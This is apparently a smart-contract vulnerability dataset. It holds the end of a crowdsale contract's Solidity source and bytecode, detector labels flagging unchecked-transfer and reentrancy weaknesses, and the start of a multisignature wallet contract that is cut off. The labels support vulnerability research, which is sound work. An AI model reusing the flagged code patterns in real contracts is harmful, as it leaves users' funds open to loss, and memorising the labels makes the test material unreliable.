// Issue tokens and return if there is overflow
//
function processTransaction(address _contributor, uint _amount) internal{
uint maxContribution = calculateMaxContribution(_contributor); // Calculate max users contribution
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount){ // Check if max contribution is lower than _amount sent
contributionAmount = maxContribution; // Set that user contibutes his maximum alowed contribution
returnAmount = _amount - maxContribution; // Calculate howmuch he must get back
}
if (ethRaised + contributionAmount > minCap && minCap < ethRaised) MinCapReached(block.number);
if (contributorList[_contributor].isActive == false){ // Check if contributor has already contributed
contributorList[_contributor].isActive = true; // Set his activity to true
contributorList[_contributor].contributionAmount = contributionAmount; // Set his contribution
contributorIndexes[nextContributorIndex] = _contributor; // Set contributors index
nextContributorIndex++;
}
else{
contributorList[_contributor].contributionAmount += contributionAmount; // Add contribution amount to existing contributor
}
ethRaised += contributionAmount; // Add to eth raised
uint tokenAmount = contributionAmount * ethToMusicConversion; // Calculate how much tokens must contributor get
token.mintTokens(_contributor, tokenAmount); // Issue new tokens
contributorList[_contributor].tokensIssued += tokenAmount; // log token issuance
if (returnAmount != 0) _contributor.transfer(returnAmount); // Return overflow of ether
}
//
// Push contributor data to the contract before the crowdsale so that they are eligible for priorit pass
//
function editContributors(address[] _contributorAddresses, uint[] _contributorPPAllowances, uint[] _contributorCommunityAllowance) onlyOwner{
require(crowdsaleState == state.pendingStart); // Check if crowdsale has started
require(_contributorAddresses.length == _contributorPPAllowances.length && _contributorAddresses.length == _contributorCommunityAllowance.length); // Check if input data is correct
for(uint cnt = 0; cnt < _contributorAddresses.length; cnt++){
contributorList[_contributorAddresses[cnt]].isActive = true; // Activate contributor
contributorList[_contributorAddresses[cnt]].priorityPassAllowance = _contributorPPAllowances[cnt]; // Set PP allowance
contributorList[_contributorAddresses[cnt]].communityAllowance = _contributorCommunityAllowance[cnt];// Set community whitelist allowance
contributorIndexes[nextContributorIndex] = _contributorAddresses[cnt]; // Set users index
nextContributorIndex++;
}
}
//
// Method is needed for recovering tokens accedentaly sent to token address
//
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner{
IERC20Token(_tokenAddress).transfer(_to, _amount);
}
//
// withdrawEth when minimum cap is reached
//
function withdrawEth() onlyOwner{
require(this.balance != 0);
require(ethRaised >= minCap);
multisigAddress.transfer(this.balance);
}
//
// Users can claim their contribution if min cap is not raised
//
function claimEthIfFailed(){
require(block.number > crowdsaleEndedBlock && ethRaised < minCap); // Check if crowdsale has failed
require(contributorList[msg.sender].contributionAmount > 0); // Check if contributor has contributed to crowdsaleEndedBlock
require(!hasClaimedEthWhenFail[msg.sender]); // Check if contributor has already claimed his eth
uint ethContributed = contributorList[msg.sender].contributionAmount; // Get contributors contribution
hasClaimedEthWhenFail[msg.sender] = true; // Set that he has claimed
if (!msg.sender.send(ethContributed)){ // Refund eth
ErrorSendingETH(msg.sender, ethContributed); // If there is an issue raise event for manual recovery
}
}
//
// Owner can batch return contributors contributions(eth)
//
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner{
require(block.number > crowdsaleEndedBlock && ethRaised < minCap); // Check if crowdsale has failed
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++){
currentParticipantAddress = contributorIndexes[nextContributorToClaim]; // Get next unclaimed participant
if (currentParticipantAddress == 0x0) return; // Check if all the participants were compensated
if (!hasClaimedEthWhenFail[currentParticipantAddress]) { // Check if participant has already claimed
contribution = contributorList[currentParticipantAddress].contributionAmount; // Get contribution of participant
hasClaimedEthWhenFail[currentParticipantAddress] = true; // Set that he has claimed
if (!currentParticipantAddress.send(contribution)){ // Refund eth
ErrorSendingETH(currentParticipantAddress, contribution); // If there is an issue raise event for manual recovery
}
}
nextContributorToClaim += 1; // Repeat
}
}
//
// If there were any issue/attach with refund owner can withraw eth at the end for manual recovery
//
function withdrawRemainingBalanceForManualRecovery() onlyOwner{
require(this.balance != 0); // Check if there are any eth to claim
require(block.number > crowdsaleEndedBlock); // Check if crowdsale is over
require(contributorIndexes[nextContributorToClaim] == 0x0); // Check if all the users were refunded
multisigAddress.transfer(this.balance); // Withdraw to multisig
}
//
// Owner can set multisig address for crowdsale
//
function setMultisigAddress(address _newAddress) onlyOwner{
multisigAddress = _newAddress;
}
//
// Owner can set token address where mints will happen
//
function setToken(address _newAddress) onlyOwner{
token = IToken(_newAddress);
}
//
// Owner can claim teams tokens when crowdsale has successfully ended
//
function claimCoreTeamsTokens(address _to) onlyOwner{
require(crowdsaleState == state.crowdsaleEnded); // Check if crowdsale has ended
require(!ownerHasClaimedTokens); // Check if owner has allready claimed tokens
uint devReward = maxTokenSupply - token.totalSupply();
if (!cofounditHasClaimedTokens) devReward -= cofounditReward; // If cofoundit has claimed tokens its ok if not set aside cofounditReward
token.mintTokens(_to, devReward); // Issue Teams tokens
ownerHasClaimedTokens = true; // Block further mints from this function
}
//
// Cofoundit can claim their tokens
//
function claimCofounditTokens(){
require(msg.sender == cofounditAddress); // Check if sender is cofoundit
require(crowdsaleState == state.crowdsaleEnded); // Check if crowdsale has ended
require(!cofounditHasClaimedTokens); // Check if cofoundit has allready claimed tokens
token.mintTokens(cofounditAddress, cofounditReward);// Issue cofoundit tokens
cofounditHasClaimedTokens = true; // Block further mints from this function
}
function getTokenAddress() constant returns(address){
return address(token);
}
}
|
0x60606040523615610131576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063055405341461033257806310fe9ae81461036b578063144fa6d7146103c057806320d19181146103f95780632165e1aa146104225780634cb79536146104375780635462870d146104605780635f2536f7146104b557806379ba5097146105025780637d6651b9146105175780637f8603301461052c5780638da5cb5b1461054f57806391176f39146105a457806391de4f88146105cd57806392acb4d614610606578063a0929cda14610673578063a0ef91df146106d4578063ad7b6884146106e9578063b103c1dd146107c3578063cdd3574a146107d8578063d4ee1d9014610801578063e7bb523314610856578063f2fde38b1461088d575b6103305b60008060009054906101000a900460ff1615151561015257600080fd5b60016000806101000a81548160ff0219169083151502179055506000341415151561017c57600080fd5b6101846108c6565b90506001600481111561019357fe5b600560009054906101000a900460ff1660048111156101ae57fe5b141561022757600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1615610218576102133334610c5a565b610222565b61022181611025565b5b610311565b6002600481111561023457fe5b600560009054906101000a900460ff16600481111561024f57fe5b14156102c857600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16156102b9576102b43334610c5a565b6102c3565b6102c281611025565b5b610310565b600360048111156102d557fe5b600560009054906101000a900460ff1660048111156102f057fe5b1415610305576103003334610c5a565b61030f565b61030e81611025565b5b5b5b5b60008060006101000a81548160ff0219169083151502179055505b50565b005b341561033d57600080fd5b610369600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611079565b005b341561037657600080fd5b61037e611118565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103cb57600080fd5b6103f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611143565b005b341561040457600080fd5b61040c6111e2565b6040518082815260200191505060405180910390f35b341561042d57600080fd5b6104356111e8565b005b341561044257600080fd5b61044a61134f565b6040518082815260200191505060405180910390f35b341561046b57600080fd5b610473611355565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c057600080fd5b6104ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061137b565b6040518082815260200191505060405180910390f35b341561050d57600080fd5b6105156114aa565b005b341561052257600080fd5b61052a611689565b005b341561053757600080fd5b61054d600480803590602001909190505061189c565b005b341561055a57600080fd5b610562611b40565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105af57600080fd5b6105b7611b66565b6040518082815260200191505060405180910390f35b34156105d857600080fd5b610604600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b6c565b005b341561061157600080fd5b61063d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ddb565b60405180868152602001858152602001841515151581526020018381526020018281526020019550505050505060405180910390f35b341561067e57600080fd5b6106d2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e1e565b005b34156106df57600080fd5b6106e7611f45565b005b34156106f457600080fd5b6107c16004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612055565b005b34156107ce57600080fd5b6107d66122fd565b005b34156107e357600080fd5b6107eb6124c2565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b6108146124c8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561086157600080fd5b6108696124ee565b6040518082600481111561087957fe5b60ff16815260200191505060405180910390f35b341561089857600080fd5b6108c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612501565b005b6000600d54600e5414801561090057506004808111156108e257fe5b600560009054906101000a900460ff1660048111156108fd57fe5b14155b156109a0576004600560006101000a81548160ff0219169083600481111561092457fe5b02179055507f38caa2c61728c18eb71cbd06d1915e4164ffe51c69a09b68d78be1f125a5dea7436040518082815260200191505060405180910390a17f9145a7fd7de2aa5b50a289cf5dd2e2d100aa067911e49855b88f94b5a196f04b436040518082815260200191505060405180910390a160019050610c57565b600654431180156109b357506007544311155b15610a5057600160048111156109c557fe5b600560009054906101000a900460ff1660048111156109e057fe5b141515610a4b576001600560006101000a81548160ff02191690836004811115610a0657fe5b02179055507f350219912288aa2ab1c63b5922619564a732d06ab5d23696cafa1afe515304a0436040518082815260200191505060405180910390a160019050610c57565b610c52565b60075443118015610a6357506008544311155b15610b005760026004811115610a7557fe5b600560009054906101000a900460ff166004811115610a9057fe5b141515610afb576002600560006101000a81548160ff02191690836004811115610ab657fe5b02179055507fb7375af7a044d5065808a05cbebd17a66f5bdf2d4f7ca631a5bd4be6c7f1bb32436040518082815260200191505060405180910390a160019050610c57565b610c51565b60085443118015610b1357506009544311155b15610bb05760036004811115610b2557fe5b600560009054906101000a900460ff166004811115610b4057fe5b141515610bab576003600560006101000a81548160ff02191690836004811115610b6657fe5b02179055507f712173de1d50109191e0d0671c67415bf3d44508558069796106054c5600d501436040518082815260200191505060405180910390a160019050610c57565b610c50565b600480811115610bbc57fe5b600560009054906101000a900460ff166004811115610bd757fe5b14158015610be6575060095443115b15610c4f576004600560006101000a81548160ff02191690836004811115610c0a57fe5b02179055507f9145a7fd7de2aa5b50a289cf5dd2e2d100aa067911e49855b88f94b5a196f04b436040518082815260200191505060405180910390a160019050610c57565b5b5b5b600090505b90565b600080600080610c698661137b565b93508492506000915084841015610c835783925083850391505b600c5483600e5401118015610c9b5750600e54600c54105b15610cd8577f71bd1f47064193be653e360173639170d33d2cfe47bf52a3de621ca4040e2358436040518082815260200191505060405180910390a15b60001515600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1615151415610e41576001600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff02191690831515021790555082600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055508560046000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360008154809291906001019190505550610e92565b82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055505b82600e60008282540192505081905550600b5483029050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f0dda65c87836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610f6d57600080fd5b6102c65a03f11515610f7e57600080fd5b50505080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555060008214151561101c578573ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561101b57600080fd5b5b5b505050505050565b8015611070573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561106b57600080fd5b611075565b600080fd5b5b50565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d257fe5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b90565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119c57fe5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b60095481565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124157fe5b60003073ffffffffffffffffffffffffffffffffffffffff16311415151561126857600080fd5b6009544311151561127857600080fd5b600060046000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156112d257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561134b57600080fd5b5b5b565b60065481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806001600481111561138b57fe5b600560009054906101000a900460ff1660048111156113a657fe5b141561149657600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015401039050600e54600d540381111561149157600e54600d540390505b6114a0565b600e54600d540390505b8091505b50919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150657600080fd5b7f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b60006009544311801561169f5750600c54600e54105b15156116aa57600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541115156116fb57600080fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561175457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015490506001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611898577fdb623bd5ad9b688a8d252706b5f3b2849545e7c47f1a9be77f95b198445a67d33382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b50565b60008060008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f957fe5b6009544311801561190d5750600c54600e54105b151561191857600080fd5b600090505b83811015611b385760046000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925060008373ffffffffffffffffffffffffffffffffffffffff16141561198157611b39565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b1957600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015491506001601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611b18577fdb623bd5ad9b688a8d252706b5f3b2849545e7c47f1a9be77f95b198445a67d38383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b60016010600082825401925050819055505b808060010191505061191d565b5b5b50505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc657fe5b600480811115611bd257fe5b600560009054906101000a900460ff166004811115611bed57fe5b141515611bf957600080fd5b601360009054906101000a900460ff16151515611c1557600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611ca357600080fd5b6102c65a03f11515611cb457600080fd5b50505060405180519050601254039050601560149054906101000a900460ff161515611ce257601454810390505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f0dda65c83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515611da657600080fd5b6102c65a03f11515611db757600080fd5b5050506001601360006101000a81548160ff0219169083151502179055505b5b5050565b60026020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16908060030154908060040154905085565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e7757fe5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f2257600080fd5b6102c65a03f11515611f3357600080fd5b50505060405180519050505b5b505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f9e57fe5b60003073ffffffffffffffffffffffffffffffffffffffff163114151515611fc557600080fd5b600c54600e5410151515611fd857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561205157600080fd5b5b5b565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120af57fe5b600060048111156120bc57fe5b600560009054906101000a900460ff1660048111156120d757fe5b1415156120e357600080fd5b825184511480156120f5575081518451145b151561210057600080fd5b600090505b83518110156122f557600160026000868481518110151561212257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff021916908315150217905550828181518110151561218e57fe5b906020019060200201516002600086848151811015156121aa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550818181518110151561220357fe5b9060200190602002015160026000868481518110151561221f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550838181518110151561227857fe5b9060200190602002015160046000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600081548092919060010191905055505b8080600101915050612105565b5b5b50505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561235957600080fd5b60048081111561236557fe5b600560009054906101000a900460ff16600481111561238057fe5b14151561238c57600080fd5b601560149054906101000a900460ff161515156123a857600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f0dda65c601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561249057600080fd5b6102c65a03f115156124a157600080fd5b5050506001601560146101000a81548160ff0219169083151502179055505b565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561255a57fe5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156125b757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b505600a165627a7a72305820ae963513154dc7a28b31ab529484649992ed6ca12c9a86128d55a82fef880ec20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,240 |
0x69c0ece4112403a97dc86dea0647bf3c384d8f58
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0370776665626d2d64666c71646643606c6d70666d707a702d6d6677">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
